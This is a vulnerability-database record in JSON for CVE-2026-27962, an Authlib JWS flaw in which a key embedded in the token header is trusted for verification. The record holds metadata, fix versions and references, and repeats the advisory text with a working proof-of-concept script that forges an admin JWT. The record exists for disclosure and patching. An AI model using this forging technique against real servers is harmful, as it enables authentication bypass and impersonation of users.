{"id":"CVE-2026-27962","aliases":["DEBIAN-CVE-2026-27962","EUVD-2026-12478","GHSA-wvwj-cvrp-7pv5","PYSEC-2026-287","ROOT-APP-PYPI-CVE-2026-27962","SUSE-SU-2026:0975-1","UBUNTU-CVE-2026-27962","USN-8557-1","openSUSE-SU-2026:20392-1"],"status":"published","title":"Authlib JWS JWK Header Injection: Signature Verification Bypass","description":"Authlib is a Python library which builds OAuth and OpenID Connect servers. Prior to version 1.6.9, a JWK Header Injection vulnerability in authlib's JWS implementation allows an unauthenticated attacker to forge arbitrary JWT tokens that pass signature verification. When key=None is passed to any JWS deserialization function, the library extracts and uses the cryptographic key embedded in the attacker-controlled JWT jwk header field. An attacker can sign a token with their own private key, embed the matching public key in the header, and have the server accept the forged token as cryptographically valid — bypassing authentication and authorization entirely. This issue has been patched in version 1.6.9.","severity":{"version":"3.1","score":9.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N","level":"critical","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-10","score":0.0057,"percentile":0.47507,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-347"],"published":"2026-03-16T15:17:15Z","modified":"2026-10-28T02:30:45Z","fixes":[{"ecosystem":"PyPI","package":"authlib","fixed_in":["1.6.9"],"sources":["ghsa","osv"]},{"ecosystem":"Debian:12","package":"python-authlib","fixed_in":["1.2.0-1+deb12u2"],"sources":["osv"]},{"ecosystem":"Debian:14","package":"python-authlib","fixed_in":["1.6.9-1"],"sources":["osv"]},{"ecosystem":"Root:PyPI","package":"Authlib","fixed_in":["0.15.5+aikido.9","1.6.3+aikido.6","1.6.6+aikido.5","1.6.0+aikido.5","1.6.1+aikido.6","1.6.5+aikido.6","1.6.6+aikido.6","1.6.6+aikido.7","1.6.6+aikido.8"],"sources":["osv"]},{"ecosystem":"Root:PyPI","package":"rootio-Authlib","fixed_in":["1.6.0+root.io.2","1.6.5+root.io.1","1.6.3+root.io.3","0.15.5+root.io.4","0.15.5+root.io.5","1.6.5+root.io.2","1.6.1+root.io.2","1.6.0+root.io.3","1.6.3+root.io.4","1.6.5+root.io.3","1.6.1+root.io.3","0.15.5+root.io.6","1.6.0+root.io.4","1.6.3+root.io.5","1.6.5+root.io.4","1.6.1+root.io.4","0.15.5+root.io.7","0.15.5+root.io.8","1.6.5+root.io.5","1.6.1+root.io.5","1.6.6+root.io.1","1.6.6+root.io.2","1.6.6+root.io.3","1.6.6+root.io.4","0.15.5+root.io.9","1.6.3+root.io.6","1.6.6+root.io.5","1.6.0+root.io.5","1.6.1+root.io.6","1.6.5+root.io.6","1.6.6+root.io.6","1.6.6+root.io.7"],"sources":["osv"]},{"ecosystem":"Ubuntu:Pro:22.04:LTS","package":"python-authlib","fixed_in":["0.15.5-1ubuntu0.1~esm2"],"sources":["osv"]},{"ecosystem":"Ubuntu:Pro:24.04:LTS","package":"python-authlib","fixed_in":["1.3.0-1ubuntu0.1~esm2"],"sources":["osv"]},{"ecosystem":"Ubuntu:Pro:26.04:LTS","package":"python-authlib","fixed_in":["1.6.7-1ubuntu0.1~esm1"],"sources":["osv"]}],"affected":[{"source":"ghsa","ecosystem":"PyPI","package":"authlib","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"last_affected":"1.6.8"},{"fixed":"1.6.9"}]}]},{"source":"osv","ecosystem":"Debian:12","package":"python-authlib","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"1.2.0-1+deb12u2"}]}],"versions":["1.2.0-1","1.2.0-1+deb12u1"]},{"source":"osv","ecosystem":"Debian:13","package":"python-authlib","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["1.6.0-1","1.6.0-1+deb13u1","1.6.1-1","1.6.3-1","1.6.4-1","1.6.5-1","1.6.6-1","1.6.7-1","1.6.8-1","1.6.9-1","1.7.0-1","1.7.2-1","1.7.2-2"]},{"source":"osv","ecosystem":"Debian:14","package":"python-authlib","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"1.6.9-1"}]}],"versions":["1.6.0-1","1.6.1-1","1.6.3-1","1.6.4-1","1.6.5-1","1.6.6-1","1.6.7-1","1.6.8-1"]},{"source":"osv","ecosystem":"PyPI","package":"authlib","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"1.6.9"}]}],"versions":["0.1","0.10","0.11","0.12","0.12.1","0.13","0.14","0.14.1","0.14.2","0.14.3","0.15","0.15.1","0.15.2","0.15.3","0.15.4","0.15.5","0.15.6","0.1rc0","0.2","0.2.1","0.3","0.4","0.4.1","0.5","0.5.1","0.6","0.7","0.8","0.9","1.0.0","1.0.0a1","1.0.0a2","1.0.0b1","1.0.0b2","1.0.0rc1","1.0.1","1.1.0","1.2.0","1.2.1","1.3.0","1.3.1","1.3.2","1.4.0","1.4.1","1.5.0","1.5.1","1.5.2","1.6.0","1.6.1","1.6.2","1.6.3","1.6.4","1.6.5","1.6.6","1.6.7","1.6.8"]},{"source":"osv","ecosystem":"PyPI","package":"authlib","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"1.6.9"}]}],"versions":["0.1","0.10","0.11","0.12","0.12.1","0.13","0.14","0.14.1","0.14.2","0.14.3","0.15","0.15.1","0.15.2","0.15.3","0.15.4","0.15.5","0.15.6","0.1rc0","0.2","0.2.1","0.3","0.4","0.4.1","0.5","0.5.1","0.6","0.7","0.8","0.9","1.0.0","1.0.0a1","1.0.0a2","1.0.0b1","1.0.0b2","1.0.0rc1","1.0.1","1.1.0","1.2.0","1.2.1","1.3.0","1.3.1","1.3.2","1.4.0","1.4.1","1.5.0","1.5.1","1.5.2","1.6.0","1.6.1","1.6.2","1.6.3","1.6.4","1.6.5","1.6.6","1.6.7","1.6.8"]},{"source":"osv","ecosystem":"Root:PyPI","package":"Authlib","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.15.5+aikido.9"},{"fixed":"1.6.3+aikido.6"},{"fixed":"1.6.6+aikido.5"},{"fixed":"1.6.0+aikido.5"},{"fixed":"1.6.1+aikido.6"},{"fixed":"1.6.5+aikido.6"},{"fixed":"1.6.6+aikido.6"},{"fixed":"1.6.6+aikido.7"},{"fixed":"1.6.6+aikido.8"}]}]},{"source":"osv","ecosystem":"Root:PyPI","package":"rootio-Authlib","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"1.6.0+root.io.2"},{"fixed":"1.6.5+root.io.1"},{"fixed":"1.6.3+root.io.3"},{"fixed":"0.15.5+root.io.4"},{"fixed":"0.15.5+root.io.5"},{"fixed":"1.6.5+root.io.2"},{"fixed":"1.6.1+root.io.2"},{"fixed":"1.6.0+root.io.3"},{"fixed":"1.6.3+root.io.4"},{"fixed":"1.6.5+root.io.3"},{"fixed":"1.6.1+root.io.3"},{"fixed":"0.15.5+root.io.6"},{"fixed":"1.6.0+root.io.4"},{"fixed":"1.6.3+root.io.5"},{"fixed":"1.6.5+root.io.4"},{"fixed":"1.6.1+root.io.4"},{"fixed":"0.15.5+root.io.7"},{"fixed":"0.15.5+root.io.8"},{"fixed":"1.6.5+root.io.5"},{"fixed":"1.6.1+root.io.5"},{"fixed":"1.6.6+root.io.1"},{"fixed":"1.6.6+root.io.2"},{"fixed":"1.6.6+root.io.3"},{"fixed":"1.6.6+root.io.4"},{"fixed":"0.15.5+root.io.9"},{"fixed":"1.6.3+root.io.6"},{"fixed":"1.6.6+root.io.5"},{"fixed":"1.6.0+root.io.5"},{"fixed":"1.6.1+root.io.6"},{"fixed":"1.6.5+root.io.6"},{"fixed":"1.6.6+root.io.6"},{"fixed":"1.6.6+root.io.7"}]}]},{"source":"osv","ecosystem":"SUSE:Linux Enterprise Module for Python 3 15 SP7","package":"python-Authlib","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"1.3.1-150600.3.17.1"}]}],"bundled":3},{"source":"osv","ecosystem":"SUSE:Linux Enterprise Server 15 SP6-LTSS","package":"python-Authlib","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"1.3.1-150600.3.17.1"}]}],"bundled":3},{"source":"osv","ecosystem":"SUSE:Linux Enterprise Server for SAP Applications 15 SP6","package":"python-Authlib","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"1.3.1-150600.3.17.1"}]}],"bundled":3},{"source":"osv","ecosystem":"openSUSE:Leap 15.6","package":"python-Authlib","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"1.3.1-150600.3.17.1"}]}],"bundled":3},{"source":"osv","ecosystem":"Ubuntu:Pro:22.04:LTS","package":"python-authlib","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.15.5-1ubuntu0.1~esm2"}]}],"versions":["0.15.4-1","0.15.5-1","0.15.5-1ubuntu0.1~esm1"]},{"source":"osv","ecosystem":"Ubuntu:Pro:24.04:LTS","package":"python-authlib","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"1.3.0-1ubuntu0.1~esm2"}]}],"versions":["1.2.1-1","1.3.0-1","1.3.0-1ubuntu0.1~esm1"]},{"source":"osv","ecosystem":"Ubuntu:25.10","package":"python-authlib","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["1.5.1-1","1.5.2-1","1.6.0-1"]},{"source":"osv","ecosystem":"Ubuntu:26.10","package":"python-authlib","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["1.6.7-1","1.7.2-1","1.7.2-2"]},{"source":"osv","ecosystem":"Ubuntu:Pro:26.04:LTS","package":"python-authlib","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"1.6.7-1ubuntu0.1~esm1"}]}],"versions":["1.6.0-1","1.6.5-1","1.6.6-1","1.6.7-1"]},{"source":"osv","ecosystem":"Ubuntu:Pro:22.04:LTS","package":"python-authlib","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.15.5-1ubuntu0.1~esm2"}]}],"versions":["0.15.4-1","0.15.5-1","0.15.5-1ubuntu0.1~esm1"],"bundled":4},{"source":"osv","ecosystem":"Ubuntu:Pro:24.04:LTS","package":"python-authlib","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"1.3.0-1ubuntu0.1~esm2"}]}],"versions":["1.2.1-1","1.3.0-1","1.3.0-1ubuntu0.1~esm1"],"bundled":4},{"source":"osv","ecosystem":"Ubuntu:Pro:26.04:LTS","package":"python-authlib","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"1.6.7-1ubuntu0.1~esm1"}]}],"versions":["1.6.0-1","1.6.5-1","1.6.6-1","1.6.7-1"],"bundled":4},{"source":"osv","ecosystem":"openSUSE:Leap 16.0","package":"python-Authlib","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"1.5.2-bp160.3.1"}]}],"bundled":3}],"products":[{"vendor":"authlib","product":"authlib"},{"vendor":"red hat","product":"lightspeed core"},{"vendor":"red hat","product":"red hat ansible automation platform 2"},{"vendor":"red hat","product":"red hat openshift ai (rhoai)"},{"vendor":"red hat","product":"red hat quay 3.10"},{"vendor":"red hat","product":"red hat quay 3.14"},{"vendor":"red hat","product":"red hat quay 3.15"},{"vendor":"red hat","product":"red hat quay 3.16"},{"vendor":"red hat","product":"red hat quay 3.18"},{"vendor":"red hat","product":"red hat satellite 6"}],"references":[{"url":"https://github.com/authlib/authlib/security/advisories/GHSA-wvwj-cvrp-7pv5","tags":["x_refsource_CONFIRM","Exploit","Mitigation","Vendor Advisory","advisory","web","report"]},{"url":"https://github.com/authlib/authlib/commit/a5d4b2d4c9e46bfa11c82f85fdc2bcc0b50ae681","tags":["x_refsource_MISC","Patch","fix","web"]},{"url":"https://github.com/authlib/authlib/releases/tag/v1.6.9","tags":["x_refsource_MISC","Product","Release Notes","web"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-27962","tags":["vdb-entry","x_refsource_REDHAT","advisory","web"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2448164","tags":["issue-tracking","x_refsource_REDHAT","report","web"]},{"url":"https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-27962.json","tags":["x_sadp-csaf-vex","web"]},{"url":"https://access.redhat.com/errata/RHSA-2026:5665","tags":["vendor-advisory","x_refsource_REDHAT","advisory","web"]},{"url":"https://access.redhat.com/errata/RHSA-2026:7314","tags":["vendor-advisory","x_refsource_REDHAT","advisory","web"]},{"url":"https://access.redhat.com/errata/RHSA-2026:24853","tags":["vendor-advisory","x_refsource_REDHAT","advisory","web"]},{"url":"https://access.redhat.com/errata/RHSA-2026:19375","tags":["vendor-advisory","x_refsource_REDHAT","advisory","web"]},{"url":"https://access.redhat.com/errata/RHSA-2026:48085","tags":["vendor-advisory","x_refsource_REDHAT","advisory","web"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-27962","tags":["advisory"]},{"url":"https://github.com/pypa/advisory-database/tree/main/vulns/authlib/PYSEC-2026-287.yaml","tags":["web"]},{"url":"https://pypi.org/project/authlib","tags":["web","package"]},{"url":"https://github.com/advisories/GHSA-wvwj-cvrp-7pv5","tags":["advisory"]},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/27xxx/CVE-2026-27962.json","tags":["advisory"]},{"url":"https://security-tracker.debian.org/tracker/CVE-2026-27962","tags":["advisory"]},{"url":"https://github.com/authlib/authlib","tags":["package"]},{"url":"https://www.suse.com/support/update/announcement/2026/suse-su-20260975-1/","tags":["advisory"]},{"url":"https://bugzilla.suse.com/1259736","tags":["report"]},{"url":"https://bugzilla.suse.com/1259737","tags":["report"]},{"url":"https://bugzilla.suse.com/1259738","tags":["report"]},{"url":"https://www.suse.com/security/cve/CVE-2026-27962","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-28490","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-28498","tags":["web"]},{"url":"https://ubuntu.com/security/CVE-2026-27962","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-27962","tags":["report"]},{"url":"https://ubuntu.com/security/notices/USN-8557-1","tags":["advisory"]},{"url":"https://ubuntu.com/security/CVE-2026-28490","tags":["report"]},{"url":"https://ubuntu.com/security/CVE-2026-28498","tags":["report"]},{"url":"https://ubuntu.com/security/CVE-2026-41425","tags":["report"]},{"url":"","tags":["advisory"]}],"sources":{"cve":[{"id":"CVE-2026-27962","title":"Authlib JWS JWK Header Injection: Signature Verification Bypass","description":"Authlib is a Python library which builds OAuth and OpenID Connect servers. Prior to version 1.6.9, a JWK Header Injection vulnerability in authlib's JWS implementation allows an unauthenticated attacker to forge arbitrary JWT tokens that pass signature verification. When key=None is passed to any JWS deserialization function, the library extracts and uses the cryptographic key embedded in the attacker-controlled JWT jwk header field. An attacker can sign a token with their own private key, embed the matching public key in the header, and have the server accept the forged token as cryptographically valid — bypassing authentication and authorization entirely. This issue has been patched in version 1.6.9.","status":"published","published":"2026-03-16T17:34:38.946Z","modified":"2026-09-10T12:04:56.626Z","cvss":[{"version":"3.1","score":9.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N","level":"critical","assessor":"cna"},{"version":"3.1","score":9.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N","level":"critical","assessor":"adp"}],"cwes":["CWE-347","CWE-347"],"updated_at":"2026-11-02T14:19:48.826324Z"}],"euvd":[{"id":"EUVD-2026-12478","description":"Authlib is a Python library which builds OAuth and OpenID Connect servers. Prior to version 1.6.9, a JWK Header Injection vulnerability in authlib's JWS implementation allows an unauthenticated attacker to forge arbitrary JWT tokens that pass signature verification. When key=None is passed to any JWS deserialization function, the library extracts and uses the cryptographic key embedded in the attacker-controlled JWT jwk header field. An attacker can sign a token with their own private key, embed the matching public key in the header, and have the server accept the forged token as cryptographically valid — bypassing authentication and authorization entirely. This issue has been patched in version 1.6.9.","status":"published","published":"2026-03-16T17:34:38Z","modified":"2026-09-10T12:04:56Z","cvss":[{"version":"3.1","score":9.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N","level":"critical"}],"updated_at":"2026-11-02T17:28:25.275283Z"}],"ghsa":[{"id":"GHSA-wvwj-cvrp-7pv5","title":"Authlib JWS JWK Header Injection: Signature Verification Bypass","description":"## Description\n\n### Summary\n\nA JWK Header Injection vulnerability in `authlib`'s JWS implementation allows an unauthenticated\nattacker to forge arbitrary JWT tokens that pass signature verification. When `key=None` is passed\nto any JWS deserialization function, the library extracts and uses the cryptographic key embedded\nin the attacker-controlled JWT `jwk` header field. An attacker can sign a token with their own\nprivate key, embed the matching public key in the header, and have the server accept the forged\ntoken as cryptographically valid — bypassing authentication and authorization entirely.\n\nThis behavior violates **RFC 7515 §4.1.3** and the validation algorithm defined in **RFC 7515 §5.2**.\n\n### Details\n\n**Vulnerable file:** `authlib/jose/rfc7515/jws.py`  \n**Vulnerable method:** `JsonWebSignature._prepare_algorithm_key()`  \n**Lines:** 272–273\n\n```python\nelif key is None and \"jwk\" in header:\n    key = header[\"jwk\"]   # ← attacker-controlled key used for verification\n```\n\nWhen `key=None` is passed to `jws.deserialize_compact()`, `jws.deserialize_json()`, or\n`jws.deserialize()`, the library checks the JWT header for a `jwk` field. If present, it extracts\nthat value — which is fully attacker-controlled — and uses it as the verification key.\n\n**RFC 7515 violations:**\n\n- **§4.1.3** explicitly states the `jwk` header parameter is **\"NOT RECOMMENDED\"** because keys\n  embedded by the token submitter cannot be trusted as a verification anchor.\n- **§5.2 (Validation Algorithm)** specifies the verification key MUST come from the *application\n  context*, not from the token itself. There is no step in the RFC that permits falling back to\n  the `jwk` header when no application key is provided.\n\n**Why this is a library issue, not just a developer mistake:**\n\nThe most common real-world trigger is a **key resolver callable** used for JWKS-based key lookup.\nA developer writes:\n\n```python\ndef lookup_key(header, payload):\n    kid = header.get(\"kid\")\n    return jwks_cache.get(kid)   # returns None when kid is unknown/rotated\n\njws.deserialize_compact(token, lookup_key)\n```\n\nWhen an attacker submits a token with an unknown `kid`, the callable legitimately returns `None`.\nThe library then silently falls through to `key = header[\"jwk\"]`, trusting the attacker's embedded\nkey. The developer never wrote `key=None` — the library's fallback logic introduced it. The result\nlooks like a verified token with no exception raised, making the substitution invisible.\n\n**Attack steps:**\n\n1. Attacker generates an RSA or EC keypair.\n2. Attacker crafts a JWT payload with any desired claims (e.g. `{\"role\": \"admin\"}`).\n3. Attacker signs the JWT with their **private** key.\n4. Attacker embeds their **public** key in the JWT `jwk` header field.\n5. Attacker uses an unknown `kid` to cause the key resolver to return `None`.\n6. The library uses `header[\"jwk\"]` for verification — signature passes.\n7. Forged claims are returned as authentic.\n\n### PoC\n\nTested against **authlib 1.6.6** (HEAD `a9e4cfee`, Python 3.11).\n\n**Requirements:**\n```\npip install authlib cryptography\n```\n\n**Exploit script:**\n```python\nfrom authlib.jose import JsonWebSignature, RSAKey\nimport json\n\njws = JsonWebSignature([\"RS256\"])\n\n# Step 1: Attacker generates their own RSA keypair\nattacker_private = RSAKey.generate_key(2048, is_private=True)\nattacker_public_jwk = attacker_private.as_dict(is_private=False)\n\n# Step 2: Forge a JWT with elevated privileges, embed public key in header\nheader = {\"alg\": \"RS256\", \"jwk\": attacker_public_jwk}\nforged_payload = json.dumps({\"sub\": \"attacker\", \"role\": \"admin\"}).encode()\nforged_token = jws.serialize_compact(header, forged_payload, attacker_private)\n\n# Step 3: Server decodes with key=None — token is accepted\nresult = jws.deserialize_compact(forged_token, None)\nclaims = json.loads(result[\"payload\"])\nprint(claims)  # {'sub': 'attacker', 'role': 'admin'}\nassert claims[\"role\"] == \"admin\"  # PASSES\n```\n\n**Expected output:**\n```\n{'sub': 'attacker', 'role': 'admin'}\n```\n\n**Docker (self-contained reproduction):**\n```bash\nsudo docker run --rm authlib-cve-poc:latest \\\n  python3 /workspace/pocs/poc_auth001_jws_jwk_injection.py\n```\n\n### Impact\n\nThis is an authentication and authorization bypass vulnerability. Any application using authlib's\nJWS deserialization is affected when:\n\n- `key=None` is passed directly, **or**\n- a key resolver callable returns `None` for unknown/rotated `kid` values (the common JWKS lookup pattern)\n\nAn unauthenticated attacker can impersonate any user or assume any privilege encoded in JWT claims\n(admin roles, scopes, user IDs) without possessing any legitimate credentials or server-side keys.\nThe forged token is indistinguishable from a legitimate one — no exception is raised.\n\nThis is a violation of **RFC 7515 §4.1.3** and **§5.2**. The spec is unambiguous: the `jwk`\nheader parameter is \"NOT RECOMMENDED\" as a key source, and the validation key MUST come from\nthe application context, not the token itself.\n\n**Minimal fix** — remove the fallback from `authlib/jose/rfc7515/jws.py:272-273`:\n```python\n# DELETE:\nelif key is None and \"jwk\" in header:\n    key = header[\"jwk\"]\n```\n\n**Recommended safe replacement** — raise explicitly when no key is resolved:\n```python\nif key is None:\n    raise MissingKeyError(\"No key provided and no valid key resolvable from context.\")\n```","status":"published","published":"2026-03-16T15:17:15Z","modified":"2026-10-27T15:22:32Z","cvss":[{"version":"3.1","score":9.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N","level":"critical"}],"cwes":["CWE-347"],"updated_at":"2026-11-02T14:41:37.912288Z"}],"nvd":[{"id":"CVE-2026-27962","description":"Authlib is a Python library which builds OAuth and OpenID Connect servers. Prior to version 1.6.9, a JWK Header Injection vulnerability in authlib's JWS implementation allows an unauthenticated attacker to forge arbitrary JWT tokens that pass signature verification. When key=None is passed to any JWS deserialization function, the library extracts and uses the cryptographic key embedded in the attacker-controlled JWT jwk header field. An attacker can sign a token with their own private key, embed the matching public key in the header, and have the server accept the forged token as cryptographically valid — bypassing authentication and authorization entirely. This issue has been patched in version 1.6.9.","status":"published","published":"2026-03-16T18:16:07.383Z","modified":"2026-09-10T13:18:01.463Z","cvss":[{"version":"3.1","score":9.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N","level":"critical","assessor":"secondary"},{"version":"3.1","score":9.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N","level":"critical","assessor":"secondary"}],"cwes":["CWE-347"],"updated_at":"2026-11-02T14:12:09.735529Z"}],"osv":[{"id":"CVE-2026-27962","title":"Authlib JWS JWK Header Injection: Signature Verification Bypass","description":"Authlib is a Python library which builds OAuth and OpenID Connect servers. Prior to version 1.6.9, a JWK Header Injection vulnerability in authlib's JWS implementation allows an unauthenticated attacker to forge arbitrary JWT tokens that pass signature verification. When key=None is passed to any JWS deserialization function, the library extracts and uses the cryptographic key embedded in the attacker-controlled JWT jwk header field. An attacker can sign a token with their own private key, embed the matching public key in the header, and have the server accept the forged token as cryptographically valid — bypassing authentication and authorization entirely. This issue has been patched in version 1.6.9.","status":"published","published":"2026-03-16T17:34:38.946Z","modified":"2026-10-28T02:30:45.206321455Z","cvss":[{"version":"3.1","score":9.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N","level":"critical"}],"cwes":["CWE-347"],"updated_at":"2026-11-02T15:45:00.180685Z"},{"id":"DEBIAN-CVE-2026-27962","description":"Authlib is a Python library which builds OAuth and OpenID Connect servers. Prior to version 1.6.9, a JWK Header Injection vulnerability in authlib's JWS implementation allows an unauthenticated attacker to forge arbitrary JWT tokens that pass signature verification. When key=None is passed to any JWS deserialization function, the library extracts and uses the cryptographic key embedded in the attacker-controlled JWT jwk header field. An attacker can sign a token with their own private key, embed the matching public key in the header, and have the server accept the forged token as cryptographically valid — bypassing authentication and authorization entirely. This issue has been patched in version 1.6.9.","status":"published","published":"2026-03-16T18:16:07.383Z","modified":"2026-10-01T03:03:21.401245971Z","cvss":[{"version":"3.1","score":9.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N","level":"critical"}],"updated_at":"2026-11-02T15:45:53.877573Z"},{"id":"GHSA-wvwj-cvrp-7pv5","title":"Authlib JWS JWK Header Injection: Signature Verification Bypass","description":"## Description\n\n### Summary\n\nA JWK Header Injection vulnerability in `authlib`'s JWS implementation allows an unauthenticated\nattacker to forge arbitrary JWT tokens that pass signature verification. When `key=None` is passed\nto any JWS deserialization function, the library extracts and uses the cryptographic key embedded\nin the attacker-controlled JWT `jwk` header field. An attacker can sign a token with their own\nprivate key, embed the matching public key in the header, and have the server accept the forged\ntoken as cryptographically valid — bypassing authentication and authorization entirely.\n\nThis behavior violates **RFC 7515 §4.1.3** and the validation algorithm defined in **RFC 7515 §5.2**.\n\n### Details\n\n**Vulnerable file:** `authlib/jose/rfc7515/jws.py`  \n**Vulnerable method:** `JsonWebSignature._prepare_algorithm_key()`  \n**Lines:** 272–273\n\n```python\nelif key is None and \"jwk\" in header:\n    key = header[\"jwk\"]   # ← attacker-controlled key used for verification\n```\n\nWhen `key=None` is passed to `jws.deserialize_compact()`, `jws.deserialize_json()`, or\n`jws.deserialize()`, the library checks the JWT header for a `jwk` field. If present, it extracts\nthat value — which is fully attacker-controlled — and uses it as the verification key.\n\n**RFC 7515 violations:**\n\n- **§4.1.3** explicitly states the `jwk` header parameter is **\"NOT RECOMMENDED\"** because keys\n  embedded by the token submitter cannot be trusted as a verification anchor.\n- **§5.2 (Validation Algorithm)** specifies the verification key MUST come from the *application\n  context*, not from the token itself. There is no step in the RFC that permits falling back to\n  the `jwk` header when no application key is provided.\n\n**Why this is a library issue, not just a developer mistake:**\n\nThe most common real-world trigger is a **key resolver callable** used for JWKS-based key lookup.\nA developer writes:\n\n```python\ndef lookup_key(header, payload):\n    kid = header.get(\"kid\")\n    return jwks_cache.get(kid)   # returns None when kid is unknown/rotated\n\njws.deserialize_compact(token, lookup_key)\n```\n\nWhen an attacker submits a token with an unknown `kid`, the callable legitimately returns `None`.\nThe library then silently falls through to `key = header[\"jwk\"]`, trusting the attacker's embedded\nkey. The developer never wrote `key=None` — the library's fallback logic introduced it. The result\nlooks like a verified token with no exception raised, making the substitution invisible.\n\n**Attack steps:**\n\n1. Attacker generates an RSA or EC keypair.\n2. Attacker crafts a JWT payload with any desired claims (e.g. `{\"role\": \"admin\"}`).\n3. Attacker signs the JWT with their **private** key.\n4. Attacker embeds their **public** key in the JWT `jwk` header field.\n5. Attacker uses an unknown `kid` to cause the key resolver to return `None`.\n6. The library uses `header[\"jwk\"]` for verification — signature passes.\n7. Forged claims are returned as authentic.\n\n### PoC\n\nTested against **authlib 1.6.6** (HEAD `a9e4cfee`, Python 3.11).\n\n**Requirements:**\n```\npip install authlib cryptography\n```\n\n**Exploit script:**\n```python\nfrom authlib.jose import JsonWebSignature, RSAKey\nimport json\n\njws = JsonWebSignature([\"RS256\"])\n\n# Step 1: Attacker generates their own RSA keypair\nattacker_private = RSAKey.generate_key(2048, is_private=True)\nattacker_public_jwk = attacker_private.as_dict(is_private=False)\n\n# Step 2: Forge a JWT with elevated privileges, embed public key in header\nheader = {\"alg\": \"RS256\", \"jwk\": attacker_public_jwk}\nforged_payload = json.dumps({\"sub\": \"attacker\", \"role\": \"admin\"}).encode()\nforged_token = jws.serialize_compact(header, forged_payload, attacker_private)\n\n# Step 3: Server decodes with key=None — token is accepted\nresult = jws.deserialize_compact(forged_token, None)\nclaims = json.loads(result[\"payload\"])\nprint(claims)  # {'sub': 'attacker', 'role': 'admin'}\nassert claims[\"role\"] == \"admin\"  # PASSES\n```\n\n**Expected output:**\n```\n{'sub': 'attacker', 'role': 'admin'}\n```\n\n**Docker (self-contained reproduction):**\n```bash\nsudo docker run --rm authlib-cve-poc:latest \\\n  python3 /workspace/pocs/poc_auth001_jws_jwk_injection.py\n```\n\n### Impact\n\nThis is an authentication and authorization bypass vulnerability. Any application using authlib's\nJWS deserialization is affected when:\n\n- `key=None` is passed directly, **or**\n- a key resolver callable returns `None` for unknown/rotated `kid` values (the common JWKS lookup pattern)\n\nAn unauthenticated attacker can impersonate any user or assume any privilege encoded in JWT claims\n(admin roles, scopes, user IDs) without possessing any legitimate credentials or server-side keys.\nThe forged token is indistinguishable from a legitimate one — no exception is raised.\n\nThis is a violation of **RFC 7515 §4.1.3** and **§5.2**. The spec is unambiguous: the `jwk`\nheader parameter is \"NOT RECOMMENDED\" as a key source, and the validation key MUST come from\nthe application context, not the token itself.\n\n**Minimal fix** — remove the fallback from `authlib/jose/rfc7515/jws.py:272-273`:\n```python\n# DELETE:\nelif key is None and \"jwk\" in header:\n    key = header[\"jwk\"]\n```\n\n**Recommended safe replacement** — raise explicitly when no key is resolved:\n```python\nif key is None:\n    raise MissingKeyError(\"No key provided and no valid key resolvable from context.\")\n```","status":"published","published":"2026-03-16T15:17:15Z","modified":"2026-10-27T15:30:03.187299955Z","cvss":[{"version":"3.1","score":9.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N","level":"critical"}],"cwes":["CWE-347"],"updated_at":"2026-11-02T15:46:59.131095Z"},{"id":"PYSEC-2026-287","title":"Authlib JWS JWK Header Injection: Signature Verification Bypass","description":"## Description\n\n### Summary\n\nA JWK Header Injection vulnerability in `authlib`'s JWS implementation allows an unauthenticated\nattacker to forge arbitrary JWT tokens that pass signature verification. When `key=None` is passed\nto any JWS deserialization function, the library extracts and uses the cryptographic key embedded\n in the attacker-controlled JWT `jwk` header field. An attacker can sign a token with their own\nprivate key, embed the matching public key in the header, and have the server accept the forged\ntoken as cryptographically valid — 